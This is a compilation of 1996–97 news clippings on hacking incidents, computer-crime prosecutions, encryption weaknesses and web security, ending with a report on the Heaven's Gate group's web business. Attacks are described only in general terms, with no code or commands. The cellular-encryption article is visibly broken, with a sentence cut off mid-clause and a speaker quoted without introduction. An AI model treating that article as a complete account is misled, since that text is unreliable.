The Justice Department announced Monday that the panel voted this month to authorize such restrictions as requiring certain parolees to get prior written approval from the commission before using an Internet service provider, computerized bulletin board system or any public or private computer network.

Other restrictions would: prohibit particular parolees from possessing or using data encryption programs, require some parolees to agree to unannounced inspection of computers by probation officers, require some parolees to compile daily logs of computer use or to pay for equipment to monitor their computer use.

"Unrestricted access to the Internet and other computer online services can provide sophisticated offenders with new opportunities for crime and criminal associations," said Edward F. Reilly Jr., commission chairman. "We cannot ignore the possibility that such offenders may be tempted to use computer services to repeat their crimes."

The commission noted a surge in "how‑to" information on child molestation, hate crime and the illegal use of explosives available on the Internet and on computer online services.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: (none) [Evil Hacker SYN‑Flood's WebCom]

SAN FRANCISCO ‑ The FBI says it is investigating charges that sabotage caused a 40‑hour outage last weekend on Web Communications, (WebCom) a Silicon Valley service hosting 3,000 World Wide Web sites.

WebCom said it believes a hacker using a college computer network in British, Columbia, Canada, flooded its server in San Jose with requests for connections from phony addresses. It said the attack ended Sunday after MCI Net, a unit of MCI Communications, blocked telephone traffic between WebCom and CA‑Net of Canada at the request of WebCom and its local service provider.

WebCom Executive Vice President Thomas Leavitt said the sites the company hosts were unreachable much of Saturday Dec. 14 and Sunday Dec. 15, causing customers, some of who operate retail sites, to suffer "extensive" damages,

"One customer said he lost about $20,000 in revenue due to a special event that was not able to occur. Others said they lost business on one of the busiest shopping weekends of the year," Leavitt said.

WebCom said the incident was due to a common type of Internet sabotage known as "denial of service" or "SYN flood," in which a computer hacker jams a server with requests for connections from addresses that do not exist. These types of attacks are easy to carry out and hard to trace, Leavitt said.

"You can fake where the messages are coming from," Leavitt said, and almost any with access to the Internet and some technical sophistication can do it.

Others in the industry have experienced similar attacks, WebCom said. Public Access Networks of New York City experienced a SYN flood attack in September.

WebCom, headquartered in Santa Cruz, said its own investigation helped by three Internet service providers traced the origin of the flooding message to a computer on a college network in British Columbia linked to BC‑Net, a local Internet service provider there.

Leavitt said that a network administrator at Malaspina University‑College in Nanaimo, British Columbia, has identified the computer used for the sabotage and that it was broken into by someone without authorized access to that computer or to the college network. The individual has not been identified.

FBI spokesman George Grotz said that the FBI is working with the information tracing the requests for connection to British Columbia but noted the actual perpetrator may nothing to do with the college or BC‑Net. "BC‑Net may just be another link in the case," he said.

The FBI has jurisdiction over such cases under Title 18 section 1030, which deals with falsely perpetrating denial of service on a computer network.

Leavitt said if the industry, or specifically Internet service providers, adopt certain "source filtering" coding they can prevent people from using one network to send messages that appear to come from somewhere else.

The U.S. Department of Energy's Computer Incident Advisory Capability has an advisory warning about SYN Floods.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: German Police Seek 12 After Raids On Computer Gang

MUNICH, Germany (Nov 28, 1996 3:36 p.m. EST) ‑ European police are seeking 12 members of an international computer chip counterfeiting gang that was smashed this week in Germany and nine other countries, Bavarian law officials said Thursday.

The raids, part of an operation code‑named "Goldfish," resulted in the arrest of 12 others suspected of selling counterfeit Pentium chips and pirated software programs as well as fraud, money‑laundering and tax evasion, Bavarian prosecutor Hubert Vollmann told a news conference.

Police did not release the names of the suspects.

The highly‑organized ring specialized in smuggling old Intel Corp Pentium chips into Europe and selling them as new, Vollmann said. It also sold illegal copies of Microsoft Corp programs and counterfeit Hercules graphics adapters, he said.

Vollmann said the ring caused damages of several millions of dollars in lost sales.

Tuesday and Wednesday, more than 2,000 law enforcement officals confiscated "truckloads" of files, computer disks and equipment in Germany, France, Italy and Belgium, he said.

The raids centered on offices and apartments near Munich in southern Germany, and in the state of North Rhine‑Westphalia, Vollmann said.

Three Germans and five Asians were arrested in Germany. Four other arrests were made in France.

The raids were the culmination of a three‑year probe that began when a Laotian businessman reported he was robbed of almost $20,000 in 1993. He came under suspicion after two of his attackers told police they had robbed him of 500,000 marks.

A series of unusually large bank transactions by the man's companies led to an investigation into tax evasion and money laundering, police said.

In addition to the 12 individuals under arrest and the 12 still at large, 16 others were arrested in the raids on charges unrelated to chip counterfeiting, Vollmann said.

The chip counterfeiting ring operated a multi‑tiered organization that bought used 133‑megahertz Pentium chips in Asia and retouched them in Hong Kong to look like new 166‑ megahertz processors, Vollmann said.

The group shipped the chips to Europe by courier to avoid customs and taxes, and sold them to personal computer companies, he said.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: The tale of the Russian Hacker

Everyone wants to know how Vladimir Levin did it, writes Hugo Cornwall. In mid‑1994, as a 26‑year‑old computer scientist in St Petersburg, he is supposed to have led a gang that hacked into Citibank in New Jersey, and organised more than 40 wire transfers from customer accounts. Russia's Mafia is said to have been involved.

Levin is still denying his involvement and, for the past 21 months, he has been in prison in south London, fighting extradition. On Sunday, he speaks for the first time to Channel 4's Equinox programme.

Could Levin really be living proof of the "professional hacker" so often celebrated in movies, books and lurid conference presentations? Is he a product of a KGB school of super hackers now turned loose on the world as part of Russian criminal enterprise? If that turned out to be true, it would delight the information warriors, the cyber‑SWAT teams set up by the US armed forces whose most recent claims on federal budgets have been on the basis of threats to the global information infrastructure. Equally pleased will be the platoons of consultants, the sales forces of computer companies and the organisers of highprice exclusive conferences.

Equinox tells a different story. The programme's researchers found a Russian "recreational" hacker group called Megazoid. The Citibank fraud because a group of hackers worldwide compiled files on the VAX/VMS operating system, and some Russian hackers found a Citibank computer with which they could play and use as a free jumping‑off point to other computers. One of them says that, for $100, he sold details to Levin and his friends who ran a computer import/export business. In reality Levin appears to have been an average‑ability programmer with entrepreneurial ambitions.

The Citibank fraud was possible only because of a number of coincidences ‑ poor security management, a group of Russian hackers getting lucky and their information falling into the hands entreprenurs with the right connections. This is the pattern of much computer crime.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Expert Warns Of Lax Security On Web

SAN FRANCISCO ‑ An outspoken computer security expert, citing his just‑completed study, says up to two‑thirds of certain Web sites, including reputable institutions like banks and the media, are vulnerable to hacker attacks.

Dan Farmer ‑‑ who stirred controversy in 1995 as co‑author of software dubbed SATAN that enables people with basic skills to infiltrate computer systems ‑‑ surveyed more than 2,200 Web sites.

The survey released last week covered a relatively small portion of the sprawling Web but focused on sites where security is more of a concern.

Farmer probed 660 bank sites around the globe, 312 North American online newspaper sites, 274 credit union sites, 47 U.S. federal government sites and 451 Internet sex clubs.

In a summary, Farmer said that, out of his sample of about 1,700 Web sites he selected, "over 60 percent could be broken into or destroyed." As a control, he probed a random sample of 469 sites.

Farmer said he used relatively crude, non‑intrusive methods and did not actually break into the sites. He also said he would not publish the names of the sites he surveyed.

"I barely electronically breathed on these (computer) hosts," he said in his report, adding that, considering more intrusive tests, some 70 percent to 80 percent of sites may have security flaws.

Other computer security experts found Farmer's results credible and authoritative, David Kennedy, director of research, education and consulting at the National Computer Security Association, said in a telephone interview.

Experts and computer industry executives said the study shed more light on a problem well known within the industry but insufficiently understood by the public at large.

The threat of hacker attacks was highlighted earlier this year when intruders broke into the Justice Department and Central Intelligence Agency Web sites and altered them, prompting the CIA to close its site temporarily.

Farmer stressed that Web sites are being used primarily for marketing and advertising purposes and that, although some bank sites may allow visitors to look up balances, the sites do not provide access to internal financial systems.

Deborah Triant, president of CheckPoint Software Technologies' U.S. operating unit in Redwood City, Calif., said banks routinely keep Web sites on separate computer systems.

"Our experience is the banks are so paranoid that they won't even allow the access that they should be able to allow and would be quite safe if you had a modern firewall" protecting their networks from intruders, said Triant, whose company is the market leader in firewall technology.

"So, if their Web site is vulnerable, that doesn't mean that anything else at the bank is vulnerable, or that their customers' accounts or the transactions their customers are doing are vulnerable," she said.

Nevertheless, with the advent of electronic commerce over the Internet expected to gain momentum in 1997, lax security remains a critical issue, experts said.

Farmer separated security flaws into two categories ‑‑ a red category where he said a site was "essentially wide open to any potential attacker" and a yellow category deemed less serious but with potential for disastrous consequences.

Of the 660 bank sites, 68 percent were deemed vulnerable and nearly 36 percent were in the red category.

Some 51 percent of credit unions were vulnerable, 62 percent of the federal sites, nearly 70 percent of newspapers and 66 percent of sex clubs. Sites in the red category ranged from 20 percent for credit unions to 38 percent for federal sites and 39 percent for online newspapers.

Of the random sample of 469 Web sites used as the control, a far smaller percentage ‑‑ 33 percent ‑‑ were found to be vulnerable, and 17 percent of the group was in the red category.

Farmer said part of the problem is that Web sites are trying to do too much at once, increasing their complexity and making security far more difficult to achieve.

But, even with security concerns, credit card transactions over the Net are much safer than those carried out in shopping malls, said the security association's Kennedy.

Farmer also said he plans to incorporate some newer testing tools into a new version of SATAN, which stands for Security Administrator Tool for Analyzing Networks, early next year.

The program enables people who manage corporate networks to locate weaknesses and fix them. But it has been controversial because it can also easily be used by malevolent intruders trying to cause damage.

Triant said there have been no reported security breaches at any of the more than 15,000 institutions with CheckPoint network security installed and said such precautions should provide adequate protection.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: (none) [Man pleads guilty to writing AOL hacking soft] source: Reuters World ReportJanuary 8, 1997 14:55:00

WASHINGTON, Jan 8 (Reuter) ‑ A Yale University student pleaded guilty Wednesday to committing computer fraud for developing a programme that allowed him to use America Online Inc. without paying, the Justice Department said.

Prosecutors said Nicholas Ryan, 20 of Victor, New York, entered the guilty plea at a federal court hearing in Alexandria, Virginia. He faces up to five years in prison and a $250,000 fine at sentencing, scheduled at the end of March.

Prosecutors said Ryan in June 1995 developed the programme, called "AOL4FREE," and frequently used it through December 1995, avoiding having to pay the firm's rate of $2.95 per hour.

Ryan, who identified himself as "Happy Hardcore," also made the programme available to other America Online users, and it circulated within AOL chat rooms, prosecutors said.

As the company made changes to stop the use of the programme, Ryan modified it and made the updated version available to other online service users, the prosecutors said.

They said the heaviest use of the programme took place from September through December 1995. America Online estimated that on a single day individuals using the programme logged onto the system about 2,000 times, the prosecutors said.

The case was brought by the U.S. Attorney's office and the Justice Department's computer crime section.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hackers Hack Crack, Steal Quake

author: Annaliza Savage

8:00 pm PST ‑ Hackers broke into the Web server and file server of Crack dot Com, a Texas gaming company, on Wednesday, stealing the source code for id's Quake 1.01, as well as Crack's newest project, Golgatha, and older games Abuse and Mac Abuse.

Although the hackers left a trail that may make them easy to track, the theft did its damage. "Quake's raw engine market value dropped several hundred thousand dollars," said Dave Taylor, who formed Crack dot Com after leaving id Software, where he worked on Doom and Quake. But Barrett Alexander of id denies that the financial loss will be so great, saying that the code for Quake's unique engine is recognizable, making it hard for anyone to be able to use without id's knowledge.

Crack dot Com is also worried that its unreleased techniques, developed for Golgotha, could make their way into the hands of other game competitors, who could copy bits of code into their own software.

The hackers, who were able to get through the Crack's firewall, left intact a bash‑history file that recorded all their movements. They even logged onto IRC's #quake to brag about their exploits, and made Quake's source available on Crack dot Com's homepage (it is no longer there).

The hackers, who identified themselves as being from the group FEH, probably broke through Crack's firewall through their Web site. The former editor of the now defunct hacker magazine FEH denies any knowledge of the event, and has already posted a disclaimer.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hackers Sabotage Blair's Internet Image

author: Robert Uhlig, Technology Correspondent

source: The Telegraph

date: 10th December 1996

The Labour Party has called for a police inquiry after computer hackers made repeated attacks on its Internet site, replacing a picture of Tony Blair with his Spitting Image puppet and headlining the site with "New Labour ‑ Same Politicians. Same Lies".

A group of British hackers, calling itself the Digital Anarchists, infiltrated the Labour publicity site for the second time yesterday and said it would continue to attack the Labour Web site this week. "We're going to keep doing it again and again until further notice. And we're going to hit some other sites as well," a spokesman for the group said last night.

The hackers later infiltrated the Labour site a third time, while computer experts were attempting to rectify the second attack. The Web site has now been closed until future notice to prevent more further embarrassing alterations of its content.

It is believed that the hackers will attack other political parties including the Conservatives, Liberal Democrats, Scottish National Party and Plaid Cymru. Internet sites belonging to other public organisations, blue‑chip companies and newspapers may also be affected.

The first attack, which promised free drugs and beer to young voters, was made on Saturday while the British hacker community was staging a Christmas party in Manchester.

The Labour leader's response to the Budget was replaced with a live sex show of women wearing the "demon eyes" masks seen in the Tory advertising campaign. The hackers also changed the title "The road to the Manifesto" to "The road to nowhere" and altered links to other parts of the site so they read "The Labour Party sex shop".

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Police looking into hacking of Government web site

author: Adeline Goh

source: The Straits Times

date: Dec 10 1996

POLICE are investigating how the Singapore government's Web site on the Internet was modified without authorisation.

In the incident on Sunday, someone replaced the site's contents with a list of more than 100 user identities (IDs) of people from various government bodies.

Yesterday, the Commercial Crime Division (CCD) of the Criminal Investigation Department told The Straits Times that three officers from its computer crime team had started work on the case.

It added that the first step would be to trace the identity of the hacker by checking the log files of the computer in which the Web site is housed.

These log files keep track of people who access it.

The web site ‑‑ at http://www.gov.sg ‑‑ is the on‑line version of the

Singapore Government directory and has links to the Web sites of various bodies such as the ministries.

The original contents of the site were restored by the National Computer Board (NCB) on Sunday afternoon. When contacted yesterday, NCB, which maintains the computer that houses the Web site, said that the hackers did not gain access to any government networks which contain sensitive data.

It added that the computer where the Web site was stored did not contain sensitive information.

It declined to give further details about the incident, saying that it had referred the matter to the CCD.

Several computer experts contacted yesterday said that electronic networks could be broken into with special computer programs.

They are placed into a network by hackers and they capture a user's log‑in password, which can then be retrieved.

Those contacted added that passwords which are proper English words were easy for hackers to crack.

This is because there are also programs which try to log on by trying words found in English dictionaries.

One of the experts, Mr A. I. Chow, 32, a partner in a computer firm, said perpetrators could even impersonate computer system administrators and ask a particular user on the network to change his password to one supplied by them. "When the user changes his password, the hacker can then access the network easily with the user's account."

Those contacted said data on Internet computers could be made more secure if system administrators allowed Web pages to be updated only during certain times or from computers within an organisation.

Security could also be improved, they said, if passwords were generated randomly and refreshed constantly.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Computer Programmer Accused Of Breaking Into California State Contract Data

SACRAMENTO, Calif. (Jan 17, 1997 00:36 a.m. EST) ‑‑ The Bay Area computer programmer who was arrested for hacking into the state Department of Information Technology computer system tapped into confidential information dealing with nearly a half million dollars worth of government contracts, court records show.

David Ernesto Salas of Alameda, who faces four years in prison, allegedly told others he had obtained confidential communication between a contractor and department officials and he was going to use it in a lawsuit against the department, said documents on file in Sacramento Superior Court.

Salas, 34, who is free on $50,000 bail, was arraigned Tuesday in Sacramento on three felony counts of computer hacking, including one count which alleges he attempted to destroy the department's computer system after his hacking was discovered.

Although some data was lost in the crash and the department's computer system was down for two days in September, nearly everything has been re‑created by a backup computer system. Damage was estimated about $10,000, officials said.

The incident, however, has been an embarrassment to department officials and is viewed with concern because Information Technology oversees $2.2 billion in computer projects throughout state government.

The department was established last year after a series of audits and investigations showed that millions in public funds were wasted on bungled state computer projects.

Kenneth Keller, Salas's San Francisco attorney, has said his client, who was a subcontractor hired to develop and install the department's computer system, will eventually be vindicated.

Keller, who couldn't be reached for comment Thursday, said last week that Salas had permission to be using the computer.

But according to court documents, Salas lost his authority to access the computer when he lost his contract after a dispute with another contractor in August. Beginning shortly before 11 p.m. Sept. 25 and into the following day, Salas gained access to the department's computer. To this day, it is not known exactly what he did once he entered the system.

The backup computer, unbeknownst to Salas, did capture a trail of changed passwords that led to the highest administrative level, giving Salas full access to the entire computer system, documents said.

"Electronic mail (E‑mail) regarding state service contracts worth approximately $400,000 between (a contractor) and DOIT resided on the DOIT system," said a summary of the facts in the case prepared for Salas's arrest.

Special Agent Fred Adler of the Sacramento Hi‑Tech Crimes Task Force, which arrested Salas, said Thursday the case is still under investigation and another arrest is possible.

In his affidavit for the search warrant, Adler said on Sept. 9, Salas told Information Technology deputy director and chief counsel Alexis Schatten that he had contacted an attorney to initiate a lawsuit against a competing contractor for slandering him and other subcontractors.

Adler said there were witnesses who had seen Salas "bringing up privileged information on (his computer) screen" and that Salas had "alluded" to others that he possessed confidential information about Information Technology's business dealings, court records show.

Department officials told investigators that "numerous confidential communications exist on the their system relative to procurement, installation and maintenance of multi‑million dollar, state computer systems," the affidavit said.

"Knowledge of these communications could prove to be financially advantageous to firms involved in these processes," the affidavit said.

Rich Halberg, department spokesman, declined to comment on the search warrant out of fear it might jeopardize an ongoing prosecution and investigation.

He did say, however, that the department computer system does not contain actual contracts, but he did say that there may be E‑mail pertaining to such contracts.

"We are doing the right thing by going after this guy," Halberg said.

"It is all too common in large companies and government to not want to go after the hacker because it is difficult to prove. Hopefully, this guy won't be in a position to do this again to another government agency," Halberg said.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: (none) [Australian Phone Worker Rigs Radio Contest]

source: COMTEX Newswire

date: 12/10/96 7:48 PM

SYDNEY, Dec. 11 (UPI S) ‑‑ An Australian telephone company worker who won $50,000 Australian (U.S. $40,000) in a radio station's phone‑in competition has been charged with fraud after allegedly hacking into the phone line. Brian Ronald Francis, who police say used his expertise to ensure he was the 10th caller in the competition, has also been charged with two more offenses relating to two other radio competitions he won this year.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hacker challenges `dark side' book

author: Simson Garfinkel

Special to the Mercury News

KEVIN Poulsen was one of the most talented "dark side hackers" ever to phreak a phone call.

For more than two years, Poulsen lived the life of a fugitive as part of the seedy Los Angeles underground. He made money by reprogramming Pacific Bell's computers for pimps and escort services, re‑activating old telephone numbers and building a voice‑mail network pairing prostitutes with their johns.

And he cleaned up by messing with the phones used by Los Angeles radio stations, rigging their call‑in contests so that he would always win the big bucks or the car.

But Poulsen got caught and he spent more than five years in jail.

Behind bars in 1993, Poulsen did what any phone phreak would do: He picked up the pay phone and started making collect calls. But these calls where different: they went to Jonathan Littman, a journalist in Mill Valley who had just published a magazine article about Poulsen's crimes and exploits and was about to write a book on the same topic.

Poulsen wanted to make sure that Littman got the story right. He felt that Littman had made a lot of mistakes in the magazine article.

Today, Poulsen feels somewhat betrayed by the journalist to whom he gave total access. After reading an advance copy of Littman's book, Poulsen says Littman has twisted the truth in order to make a more compelling story.

"Most of my complaints about Littman's book are small things," said Poulsen, who is on parole and living in Sherman Oaks, a Los Angeles suburb. "He has major events right but then he changes the meaning of them by changing minor events and making up quotes."

Littman stands by his work.

The book, "The Watchman: The Twisted Life and Crimes of Serial Hacker Kevin Poulsen," is due to be published next month by Little, Brown and Co. It's an insider's look at the world of a criminal computer hacker, one of the most detailed yet published.

"He was one of the first to hack the Internet and get busted for it," said Littman, referring to Poulsen's 1984 arrest for breaking into university computers on the ARPAnet, predecessor to today's Internet.

"They decided not to prosecute him because he was 17" when he was arrested, Littman said. Instead, Poulsen was hired by a Silicon Valley defense contractor. "It was every hacker's dream ‑‑ to commit a crime and instead of going to jail, to get a job with what was a top think tank and defense contractor," Littman said.

Soon, however, Poulsen was back to his old tricks ‑‑ with a vengeance, according to the book. He started physically breaking into Pacific Bell offices, stealing manuals and writing down passwords. Much of what he found went into a storage locker. But Poulsen couldn't handle his finances, and got behind in his rent. When the locker company broke open Poulsen's lock his stash was discovered and a trap was laid. As the FBI closed in, Poulsen left town, a fugitive on the run.

Guilty plea

He was caught June 21, 1991, and spent nearly three years in pre‑trial detention. On June 14, 1994, in federal court in Southern California, he pleaded guilty to seven counts of computer fraud, interception of wire communications, mail fraud, money laundering and obstruction of justice. He was then transferred to Northern California to face a spying charge, based on his possession of material the government called classified. He pleaded guilty to fraud, possession of unauthorized access devices and fraudulent use of a Social Security number, and was released June 4, last year.

The Watchman is Littman's second book on the computer hacker underground. His first, "The Fugitive Game," followed the exploits of hacker Kevin Mitnick, who was on the run and eventually caught by computer security expert Tsutomu Shimomura and New York Times reporter John Markoff. Shimomura and Markoff wrote their own book describing the chase, and they both objected to Littman's version of the events.

For his part, Poulsen seems most angry about the implication of the new book's title ‑‑ that he was somehow obsessed with eavesdropping and largely acted alone.

Only two wiretaps

In the book, Littman has Poulsen listening to dozens of conversations ‑‑ even wiretapping the telephones of people trying to sell used equipment through newspaper classified ads, to see if they are being honest with their prices.

Poulsen insists that he wiretapped the telephones of only two people: another hacker who was also an FBI informant and his high‑school girlfriend.

"He also reports that I obsessively followed the details of every escort date, including details of the tricks," Poulsen says, among other complaints. "He made that up. Totally made that up."

Littman denies making up quotes, and insists that everything in the book was told to him by one of the participants.

"I've written a book about a very complicated story about controversial people who had very different versions of what happened," Littman said. "I've done the best I can to view them objectively. Somebody else might view them differently, and the participants obviously have a subjective perspective. My views are in the book."

But Poulsen says that Littman's fundamental premise is flawed. "John had a problem in writing this book," Poulsen said. "He wanted to sell it as the troubled loner‑hacker‑stalker guy. The problem is I had five co‑defendants and it is hard to portray someone as a troubled loner when you have five other people making it happen."

Not a loner

Ron Austin, Poulsen's friend and co‑conspirator, agrees. "Littman has to write an interesting book, I guess," he said. "He downplays the role of a lot of people, but I think that's because he is writing a book about Kevin. My role is downplayed." Austin also said the role of Justin Petersen, a hard‑rocking hacker and co‑conspirator is underplayed.

Austin, also on parole, said he is concerned that the controversy regarding Littman's portrayal of Poulsen might obscure some of the more important issues raised by Littman's book: That the FBI engaged in widespread wiretapping of foreign consulates in the San Francisco area, the FBI's apparent hiring of an informant to commit illegal acts on the agency's behalf, and that the FBI's apparent ability to decrypt files on Poulsen's computer that had been encrypted with the

U.S. government's Data Encryption Standard, a popular data‑scrambling algorithm.

The FBI office in Los Angeles declined to comment on the Poulsen case. A representative of the FBI's Washington office said, "We normally do not comment on books that are coming out until we have had an opportunity to review the book."

As a condition of his plea bargain, Poulsen is prohibited from discussing FBI wiretaps.

Littman said he feels "lucky as a writer to have been able to spend some time with Poulsen and these other characters in the story."

"One thing about Poulsen is he really had a very highly developed ethical model that he believed in," Littman said. "He found it challenged by his circumstances and the people he associated with. I found it fascinating to see how he resolved this age‑old computer hacker ethic with a changing world."

Cellular Code‑breakers Blame Standards Process

577 Words

4312 Characters

04/03/97

TR Wireless News

Copyright (c) 1997 BRP Publications, Inc.

Computer scientists claim they have demonstrated how to break the industry‑standard code that encrypts cellular phone calls‑a discovery they termed "a setback to the U.S. cellular telephone industry." The code‑breakers included Bruce Schneier of Counterpane Systems, a Minneapolis consulting firm, and graduate student David Wagner of the University of California at Berkeley.

They criticized the wireless industry's technical standards‑setting process for establishing what they consider a weak standard, and they attacked the government for "hamstringing emerging cellular security technology." Release of their announcement and academic paper was timed to coincide with congressional hearings on encryption policy.

The researchers' press release observes that the digital cellular system uses encryption to "scramble voice communications." Their paper, Cryptanalysis of the Cellular Message Encryption Algorithm (CMEA), concerns cellular phone keypad entries, but not voice conversations. Mr. Schneier told TRWN that the digital cellular voice encryption standard is "so incredibly vulnerable" to decryption that it was "not worth writing about." The voice standard's fundamental code was broken by the "Union Army in the Civil War," he added.

The researchers didn't challenge either the subscriber "authentication" or the "fingerprinting" antifraud procedures now common in the cellular service. Authentication and fingerprinting technologies "are not compromised by the cryptography announced today," according to the Cellular Telecommunications Industry Association.

The technical paper describes a cryptographic "attack" on the CMEA. Such an attack, in practice, would require analysis of data recovered from recorded calls, received on radios capable of decoding digital cellular transmissions. Such radios aren't easily available; the common "scanner" can't receive them.

"We did not touch a cellular phone in our analysis, and there is no commercial equipment available that could receive digital cellular signals. We worked with a paper standard only," Mr. Schneier said. The attack took "minutes or hours" on a Pentium‑class personal computer, and to comply with U.S. laws and who agreed not to "misuse" the information. Federal agencies, including NSA, had certain "sensitivities" as to the encryption power of CMEA and its lawful export under then‑current laws, he said. These concerns led to CMEA's being somewhat less "robust" than the authentication algorithm.

Updating CMEA to address the concerns raised by the cryptographers' announcement has become the "highest priority" for the TR45 committee at its upcoming meetings, Mr. Marinho said. He added that the shift in federal jurisdiction over encryption from the State Department to the Commerce Department has enabled TIA to move forward in improving CMEA.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

TRENDS IN BRIEF...

285 Words

2117 Characters

04/07/97

Report on Microsoft

Copyright 1997 Information Access Company. All rights reserved.

A trade publication reports that a "major" security flaw has been uncovered in Microsoft's network operating system, Windows NT.

The flaw could enable a user dialing in from a remote location to unscramble encrypted information ‑‑ including a corporate network's entire registry of user passwords ‑‑ and display it as plain text. EE Times Online (http://www.eet.com) said the discovery is especially

troublesome for Microsoft because it has tried to position NT as more secure network server than alternatives such as Unix. Two professional security technologists wrote the code for the "hack" that found the flaw.

The code has been verified by several experts and is making the rounds on the Internet via an mailing list frequented by skilled hackers with an interest in NT‑security issues. The potentially password‑cracking code is the third major security flaw found in NT in as many months and follows recent revelations of security holes in Microsoft's Internet Explorer Web browser. The software giant's security technology has come under closer scrutiny by the hacking community as NT and Internet Explorer have found broader market acceptance... At least a dozen major companies have joined the race to buy, invest or strike strategic alliances with small Java developers, according to a trade publication report. Driven by the growing popularity of Java and the need to get products to market more quickly than they can be developed internally, these vendors frequently are courting the same developers to shore up their Java offerings. One developer, while declining to comment on any talks his company has had, named Sun Microsystems Inc., Microsoft, Novell Inc., Netscape Communications Corp. and IBM/Lotus as the top Java hunters, followed by a second tier of tools vendors that include Symantec Corp.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Social Security officials insist Web info is secure

April 8, 1997

Web posted at: 12:10 a.m. EST

WASHINGTON (CNN) ‑‑ Social security records now available through the Internet pose few security threats to the individuals who request them administration officials said Monday.

For the past month, Americans have had the option of having their Personal Earnings and Benefit Estimate Statement (PEBES) sent to them electronically. The information previously had to be mailed to them in a process that took as long as six weeks ‑‑ and at a cost of millions of dollars in postage each year.

Phil Gambino, a spokesman for the Social Security Administration, said the top priority of the new program is maintaining privacy, and several security features have been built into the new system to do just that.

"The information going back and forth between the requester and Social Security is encrypted, so if it gets intercepted in the middle, it can't be interpreted ‑‑ it would look like jibberish," he said.

Auditors also are able to trace the origin of a request to the exact personal computer used to make it, he said.

Still, critics concerned about privacy rights are worried.

"As soon as crooks start exploiting this service to get other people's information, Social Security is going to have a real problem on its hands," Evan Hendricks, chairman of the U.S. Privacy Council in Washington, told USA Today.

The newspaper identified various types of potential abuse: potential employers could get the salary history of job applicants; co‑workers could determine how much fellow employees make; landlords could use the information to determine whether someone can afford an apartment.

While Gambino insisted someone would have to "go through a great deal of effort" to steal information, even the PEBES Web page offers a disclaimer: "We cannot absolutely guarantee that the information you are sending will not be intercepted by others and decrypted."

Indeed, one person in January decoded an encryption code similar to the one used to secure the Social Security information.

Responding to a challenge from a computer security firm, a graduate student cracked the code in 3 1/2 hours. He used 250 work stations to do test 100 billion code combinations per hour to crack a 40‑bit electronic key. The PEBES page is encrypted with at least a 40‑bit key, although it could have 128 bits or more.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Web authors linked to suicide sect

By Alan Boyle and Paul Chavez

MSNBC

Members of the religious community who died in Rancho Santa Fe earned money by designing business sites on the World Wide Web and may have tied their death pact to coincide with the return of the Hale‑Bopp comet.

Farewell tape shows cultists' calm resolve Cult built an 'earth ship' of old tires Rendezvous with mortality Cults growing on the Net How to know if a loved one is in a cult Talk about this story in our News BBS.

The group did business as Higher Source Contract Enterprises and designed a variety of sites, including the San Diego Polo Clubs home page on the World Wide Web.

Commander Al Fulmer of the San Diego County Sheriffs Office said during a Thursday press conference that the group also called itself Heavens Gate. A Web site using that name makes a connection between the Hale‑Bopp comet, which last visited Earth about 4,200 years ago, and a time of closure.

The Heavens Gate site was found under several addresses Thursday, including one Internet address located in Romania. Most of the sites were either pulled off the World Wide Web later Thursday or were made inaccessible because of high volumes of Internet traffic. Katie Greene, a spokesperson for Internet service provider Concentric Network, located in Californias Silicon Valley south of San Francisco, said they have been providing Internet service to the group since March 1995.

A section of one Heavens Gate site outlined the groups beliefs and said that 2,000 years ago a crew member of the kingdom of heaven took over the body of Jesus. This Christ‑like member prepared others for departure into the kingdom of heaven.

The site said the groups mission was the same.

I am in the same position to todays society as was the One that was in Jesus then, the sites author wrote. My being here now is actually a continuation of that last task as was promised, to those who were students 2,000 years ago. ... Our only purpose is to offer the discipline and grafting required of this transition.

Another section of the site described two leaders, a male and female, who in the early 1970s took over two bodies, which they called vehicles.

The Heavens Gate group may be a high‑tech reincarnation of a 1970s community that had been dubbed the UFO Cult.

Strong similarities exist between the 1970s group and information found on World Wide Web sites connected to Heavens Gate. The two leaders of the the so‑called UFO cult have been previously identified in news reports as Houston residents. News reports also said the female leader is dead.

One page called Last Chance to Evacuate Earth Before Its Recycled outlined the groups history and mission. The author of the page identified himself as Do as in the musical tone.

The author said he was related to the Ti and Do that made news in 1975 as the UFO cult. The author also said that his female partner, Ti, left earth in 1985.

Much of the information on the site outlined how representatives from a Kingdom Level Above Human were on Earth to escort others to the higher level.

The site also had a section detailing its position against suicide by non‑members. Larry Trachte, professor of religion at Wartburg College, said that suicide often has a different meaning among religious groups and cults.

